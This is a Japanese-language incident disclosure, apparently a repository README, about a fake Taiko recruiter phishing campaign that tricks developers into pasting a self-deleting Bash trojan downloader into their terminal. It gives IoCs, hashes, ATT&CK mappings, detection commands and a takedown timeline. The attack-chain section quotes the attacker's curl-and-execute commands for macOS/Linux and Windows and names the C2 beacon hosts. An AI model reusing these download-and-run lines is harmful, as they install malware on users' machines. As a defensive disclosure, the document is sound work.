taikotalent.xyzによる偽のTaikoリクルーターキャンペーンに関するIoC、攻撃チェーン、検出方法。このキャンペーンは、ターミナルへの貼り付けを利用した「anti-bot」トリックによって自己削除型のBashトロイの木馬を配布します。ペイロードは2026-10-09時点で依然として稼働中です。
ステータス: テイクダウン済み。 悪意あるドメイン
taikotalent.xyzは、ペイロードが稼働中のまま AWS への虐待報告に証拠付きでフォローアップしてから約12時間後の 2026-10-10 02:39 UTC に、レジストラによって停止されました (clientHold)。2026-10-15 に RDAP と DNS で検証済み。詳細は以下のタイムラインを参照。
更新 2026-10-15 — フィッシングドメインをテイクダウン。
taikotalent.xyzとhr.taikotalent.xyzは現在 NXDOMAIN を返します (DNS-over-HTTPS で確認、2026-10-15) — 10月5日の協調報告 (AWS ケース179121234700301、NameCheap チケットNC-DFA-2100、13 の通知チャネル) から10日後です。ペイロード URL (/verify_m、/verify_w) はもはや解決されません。部分的に解決 — C2 レイヤーは依然稼働中:
api.gaganata.ink(104.21.84.196 / 172.67.196.60) とapi.fallgganata.inkは依然として Cloudflare の背後で解決され、HTTP 応答を返します (プローブで 404、2026-10-15)。gaganata.ink/fallgganata.inkドメインに対する虐待報告は、レジストラと Cloudflare で保留中です (虐待フォームはブラウザ + Turnstile が必要)。ステータス @ 2026-10-09 00:46 UTC (履歴): ペイロードは依然稼働中 —
https://taikotalent.xyz/verify_m→ HTTP 200、49,916 バイト、10月5日のサンプルとバイト単位で同一、AWS 虐待報告から4日以上経過。
Taiko (Ethereum ロールアップ企業 — 正規ドメインは taiko.xyz、taikotalent.xyz とは無関係) を装った標的型フィッシングキャンペーンは、公開 GitHub プロフィールから収集したオープンソース開発者に対し、偽の「エンジニアリング求人」採用メールを送信します。偽の「応募ポータル」は、被害者を説得して自身のターミナルにダウンローダーコマンドを貼り付けさせる 「ターミナルによるアンチボットチェック」 ページで終わります — エクスプロイトは不要で、ユーザー自身がマルウェアを実行してしまいます。
| 日付 (UTC) | イベント |
|---|---|
| 2026-10-05 | キャンペーンを受信、サンプルを隔離、完全なフォレンジックレポートを送信 (AWS ケース 179121234700301、Resend、Taiko) |
| 2026-10-09 | 開示を拡大: このリポジトリ、gist、dev.to、GitLab スニペット、Telegraph。NameCheap 虐待報告 (→ チケット NC-DFA-2100)、Softshellweb (ペイロードホスト)、Cloudflare (C2)、APWG、OpenPhish、oss-security、メディア3社を含む9件の追加通知。ペイロードは依然バイト単位で同一かつ稼働中 |
| 2026-10-15 | taikotalent.xyz / hr.taikotalent.xyz → NXDOMAIN。 最初の報告から10日後にフィッシングインフラが停止。C2 (api.gaganata.ink、api.fallgganata.ink) は依然 Cloudflare の背後で解決中 |
/var/tmp/.kdm.* に base64 で埋め込まれた第2ステージ、perl のダブルフォークでデタッチ、60回リトライのクリーンアップループ。| 種別 | 値 | コンテキスト |
|---|---|---|
| ドメイン | taikotalent.xyz | 2026-09-27 登録（Namecheap）、キャンペーンの8日前 |
| 送信サブドメイン | hr.taikotalent.xyz | DKIM d=; MX → AWS SES インバウンドゲートウェイ |
| 送信者 | [email protected] | 偽の身元「Joseph Quintana, Talent, Taiko」 |
| 送信IP | 23.249.215.58 | d215-58.smtp-out.sa-east-1.amazonses.com（Resend 経由の Amazon SES） |
| ポータル | https://taikotalent.xyz/ | 「プライベート招待」SPA、受信者ごとの Ref コード（Ref-oxqgd77kb9zw14） |
| 外部送信 | POST /track-activity | 各フォームステップでデバイスフィンガープリント + 氏名/メール/GitHub ユーザー名 |
| ペイロード（macOS/Linux） | https://taikotalent.xyz/verify_m | 49,916 B の bash ステージャー「deepfake_guard」— 2026-10-09 時点で稼働中 |
| ペイロード（Windows） | https://taikotalent.xyz/verify_w | v.cmd ランチャー、非表示ウィンドウ |
| C2 | https://api.gaganata.ink/guard-launcher-result | インストール状態ビーコン（Namecheap、Cloudflare フロント） |
| C2 バックアップ | https://api.fallgganata.ink | セカンダリエンドポイント |
| ペイロードホストIP | 193.160.32.10 | Shock Hosting（US-SHOCK1-20191118） |
| 第二段階 | /var/tmp/.kdm.XXXXXX | Base64 デコードされた埋め込みステージ、フォレンジック対策の自己削除 |
| 成果物 | SHA-256 |
|---|---|
verify_m 2026-10-05 隔離（49,916 B） | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d |
verify_m 2026-10-09 稼働中に再取得 | c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d（バイト単位で同一） |
| 元のフィッシングメール（生データ） | 84d94746ea1e4642e00bbd6250f8e4fabfeff66b76acd040bb2219412195d564 |
元の .eml 添付ファイル（11,098 B） | 3a5bb258d76a048d0c3ff8c3671410998ef548968e1ea674b5a9dd367fa3bcf3 |
| フォレンジックレポート PDF（17ページ、201,044 B） | d83bc2d16a1b91e839d8d9ec440b79fe09e73c92bd2a151b843c0182cd604a1c |
curl -ks https://taikotalent.xyz/verify_m | sha256sum
# -> c7c22e322c17bda8198257342d4034af6250a5c433242461b870879ba9aa285d (do NOT execute the download)
YARA（yara/bash_stager_taikotalent.yar を参照）
ホスト侵害チェック（macOS/Linux）：
ls -la /var/tmp/.kdm.* 2>/dev/null
pgrep -fl 'verify_m|deepfake_guard|guard-launcher'
find ~ -maxdepth 2 \( -name 'verify_m' -o -name 'verify_w' -o -name 'v.cmd' \) 2>/dev/null
ネットワーク: *.gaganata.ink、*.fallgganata.ink、taikotalent.xyz（hr. サブドメインを含む）への外向き通信をブロック/監視する。
メール管理者向け: 最近登録されたドメインからの SPF/DKIM pass は中立として扱うこと — 認証 ≠ 評判。
[email protected] から送信（DKIM s=resend d=hr.taikotalent.xyz、Amazon SES sa-east-1 経由、IP 23.249.215.58）。POST /track-activity が各ステップでデバイスフィンガープリントを窃取する。perl -MPOSIX によるダブルフォークのデーモン化 + curl -ks https://taikotalent.xyz/verify_m -o verify_m && exec bash verify_mstart -WindowStyle Hidden cmd '/c curl -ks https://taikotalent.xyz/verify_w -o v.cmd&&v.cmd'deepfake_guard: nohup 経由でデタッチ状態で再起動し、api.gaganata.ink/guard-launcher-result（フォールバック api.fallgganata.ink）へビーコンを送信。埋め込まれた base64 の第2ステージを /var/tmp/.kdm.XXXXXX にデコードし、C2 エンドポイントを環境変数として渡して実行した後、ランチャー、ステータスファイル、/var/tmp のアーティファクトを自己削除する（60回リトライのアンチフォレンジックループ）。| 手法 | 名称 |
|---|---|
| T1566.002 | Spearphishing Link |
| T1656 | Impersonation |
| T1204.002 | User Execution: Malicious File (paste-in-terminal) |
| T1059.004 | Command & Scripting: Unix Shell |
| T1027 | Obfuscated Files (base64 second stage) |
| T1071.001 | Application Layer Protocol: Web (beacon) |
| T1070.004 | Indicator Removal: File Deletion (self-delete) |
| T1583.001 | Acquire Infrastructure: Domains |
| 日付 | イベント |
|---|---|
| 2026-09-27 | taikotalent.xyz を登録（Namecheap） |
| 2026-10-05 | フィッシングメールを受信。分析およびサンプルを隔離（実行は一切なし）。AWS Trust & Safety、Resend、Taiko に通知 |
| 2026-10-06 | 17ページのフォレンジックレポートを生成（ハッシュ d83bc2d16a1b91e8…） |
| 2026-10-07 | AWS が案件を [email protected] にルーティング |
| 2026-10-09 | 完全な公開開示: IoC gist · 技術解説 · 本リポジトリ。ペイロードを再検証し、稼働中かつバイト単位で同一であることを確認 |
| 2026-10-09（後刻） | 稼働中ペイロードのステータスを添えて [email protected] へフォローアップを再送。RDAP によりインフラを特定: レジストラ NameCheap、ペイロードホスト 193.160.32.10（Softshell/SHOCK1 ネットブロック、abuse 連絡先 softshellweb.com）、C2 は Cloudflare の背後。abuse 報告を3プロバイダーすべて + APWG、OpenPhish、oss-security + メディア3社へ送信（計13チャネル） |
| 2026-10-10 02:39 UTC | 解決 — レジストラによるテイクダウン。 RDAP は taikotalent.xyz に clientHold + server transfer prohibited を表示。稼働中ペイロードのフォローアップから約12時間後に適用。ドメインの存続期間は13日（2026-09-27 登録、2026-10-10 停止） |
| 2026-10-15 | 停止を確認: taikotalent.xyz、hr.、www. は DNS 応答なし。ペイロード /verify_m は到達不能。C2 api.gaganata.ink は依然 Cloudflare の背後で解決するが HTTP 404 を返す — 残存物はテイクダウン前にすでに感染したホストにのみ関係する |
P01M4696RCMDN90PYQGW7NJHGT0 / 179121234700301Edison Flores（AliceLabs）による分析と開示。すべての証拠は非破壊的に取り扱われた。ペイロードはハッシュ取得のためにダウンロードされたのみで、実行はされていない。17ページのフォレンジックレポートと隔離されたステージャーは、防御担当者、レジストラ、ホスティング事業者、ジャーナリストの求めに応じて提供可能である。